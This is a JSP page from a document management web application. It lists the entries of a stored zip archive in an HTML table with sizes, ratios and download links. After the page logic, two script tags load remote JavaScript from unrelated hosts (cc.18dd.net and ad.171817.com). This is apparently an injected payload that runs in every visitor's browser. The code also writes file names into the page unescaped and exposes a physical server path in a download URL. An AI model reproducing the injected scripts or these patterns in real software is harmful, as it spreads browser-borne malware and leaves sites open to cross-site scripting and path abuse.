<%
/*
 * @(#)ZipViewer.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ZipViewer.jsp

  This class is used to retrieve the document content from http

  @author          Rollo Chan
  @company         DCIVision Limited
  @creation date   21/08/2003
  @version         $Revision: 1.20.2.4 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8" %>
<%@ page import="com.dcivision.dms.core.FileDownloader"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.net.URLConnection"%>
<%@ page import="java.net.URLDecoder"%>
<%@ page import="java.util.Enumeration"%>
<%//import="java.util.zip.*"  Update By Jim Zhou				2006/12/15			EIP-1168%>
<%@ page import="org.apache.tools.zip.*" %>
<%@ page import="java.text.NumberFormat"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.apache.struts.action.Action"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
<%
// Retrieval Document ID and its Version ID
Integer documentID = TextUtility.parseIntegerObj(request.getParameter("documentID"));
String version = request.getParameter("version");
Integer versionID = new Integer(1);
DmsDocument document = null;
Connection conn = null;
String physicalPath = null;
ZipFile zipFile = null;

try {
  conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DmsContentManager dmsContentManager = new DmsContentManager(sessionContainer, conn);

  String name = "";
  document = (DmsDocument) docRetrievalManager.getDocument(documentID);

  name = document.getDocumentName();
  name = TextUtility.getURLEncodeInUTF8(document.getDocumentName());

  DmsVersion dmsVersion = new DmsVersion();
  Integer contentID = new Integer(0);
  if (!Utility.isEmpty(version) && !DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
    versionID = TextUtility.parseIntegerObj(version);
    dmsVersion = (DmsVersion)docRetrievalManager.getVersionByVersionID(versionID);
    contentID = dmsVersion.getContentID();
  } else if (DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
    dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(documentID);
    contentID = dmsVersion.getContentID();
  }
  DmsContent docContent = (DmsContent)docRetrievalManager.getContentByContentID(contentID);
  String converted = (String)URLDecoder.decode(docContent.getConvertedName());


  physicalPath = dmsContentManager.getDmsDocumentStoreFilePysicalPath(document,docContent);  
  zipFile = new ZipFile(physicalPath);
  NumberFormat formatter = NumberFormat.getInstance();
  formatter.setMaximumFractionDigits(2);
  boolean dump_contents = false;
	//Update By Jim Zhou			2006/12/15			EIP-1168
  //Enumeration list = zipFile.entries();
	Enumeration list = zipFile.getEntries();
	//Update End
  boolean bOdd = true;  
  int nNumOfFile = 0;
%>
<div class="popupPanelTitle">
	<bean:message key="dms.label.show_zip_content"/>
</div>

<div class="popupWrapperContainer">
	<table width="100%">
		<layout:sectionHeader name="dms.lable.zip_inludes_following_files" arg0="<%=document.getDocumentName()%>" mandatory="false"/>
	</table>
	
	<div id="dataGrid" class="listTable">
	<table>
	<thead>
		<th><div class="firstsep"><bean:message key='dms.label.zip_viewer_file_name'/></div></th>                
		<th><div class="sep"><bean:message key='dms.label.zip_viewer_modifed'/></div></th>                
		<th><div class="sep"><bean:message key='dms.label.zip_viewer_size'/></div></th>                
		<th><div class="sep"><bean:message key='dms.label.zip_viewer_ratio'/></div></th>                
		<th><div class="sep"><bean:message key='dms.label.zip_viewer_packed'/></div></th>                
		<th><div class="sep"><bean:message key='dms.label.zip_viewer_path_name'/></div></th>
	</thead>
  <%  
  while (list.hasMoreElements()) {
    ZipEntry ze = (ZipEntry)list.nextElement();
    if (!dump_contents || ze.isDirectory()) {
      String sPathName = ze.getName();
			
      int nUncompressedSize = (int)ze.getSize();
      int nCompressedSize = (int)ze.getCompressedSize();
      int iPosition = sPathName.lastIndexOf("/");
      String sFileName = sPathName.substring(iPosition + 1);
      String sModified = com.dcivision.framework.TextUtility.formatTimestamp(new java.sql.Timestamp(ze.getTime()));
      String sPath = "";
      if (iPosition > 0){
		//joan.xiong update code for bug EIP-1274 by 2006/12/25
        //sPath = sPathName.substring(0, iPosition + 1);
        sPath = sPathName.substring(0, iPosition);
		//joan.xiong update code end
      }
      String sDirectory = physicalPath + "/" + sPath;
      double fUncompressedSize = (double)nUncompressedSize * (double)1.0;
      double fRatio = (((double)nUncompressedSize - (double)nCompressedSize ) / (double)fUncompressedSize) * (double)100.0;
      if (fRatio < 0.0) {
        fRatio = 0.0;
      }
      if (!ze.isDirectory()) {
        nNumOfFile++;
      %>
  <tr<%=bOdd?" bgcolor=\"#F2F2F2\"":""%>>
    <td nowrap>
    <b><font face="Arial, Helvetica, sans-serif" size="2"><dms:extImg fileName='<%=sFileName%>'/>&nbsp;
    <a onMouseOver="return overlib('<bean:message key='dms.label.zip_viewer_download'/> <%=TextUtility.escapeJSString(sFileName)%>')" onMouseOut="return nd()"
       href="<%=request.getContextPath()%>/jsp/dms/ZipFileDownload.jsp?physicalPathName=<%=java.net.URLEncoder.encode(physicalPath, "UTF-8")%>&Index=<%=nNumOfFile%>&isDownload=<%="Y"%>">
    <%=sFileName%></a></font></b>
    </td>
    <td nowrap align="right"><font face="Arial, Helvetica, sans-serif" size="2"><%=sModified%></font></td>
    <td nowrap align="right"><font face="Arial, Helvetica, sans-serif" size="2"><%=nUncompressedSize%></font></td>
    <td nowrap align="right"><font face="Arial, Helvetica, sans-serif" size="2">
      <%=formatter.format(fRatio)%>      
      <bean:message key='dms.label.zip_viewer_percent'/>
    </font></td>
    <td nowrap align="right"><font face="Arial, Helvetica, sans-serif" size="2"><%=nCompressedSize%></font></td>
    <td nowrap><font face="Arial, Helvetica, sans-serif" size="2"><%=sPath%></font></td>
  </tr>
      <%
        bOdd = !bOdd;
      }
      continue;
    }
  }
  %>
    </table>
</div>

<div class="listStatusBar">
  <bean:message key='dms.label.zip_viewer_total_files' arg0='<%=nNumOfFile+""%>'/>
</div>
</div>

<div id="popupPanelBottom">
<div id="buttonSection">
    <html:standardButton label="common.label.print" onClick="return NavPrint()"/>
    <html:standardButton label="common.label.close" onClick="return self.close();"/>
</div>
</div>
<%
  }
  catch (Exception e) {
    out.println(e.toString());
    LogFactory.getLog(this.getClass()).error(e, e);
  }
  finally {
    try { zipFile.close(); } catch (Exception ignore) {} finally { zipFile = null; }
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>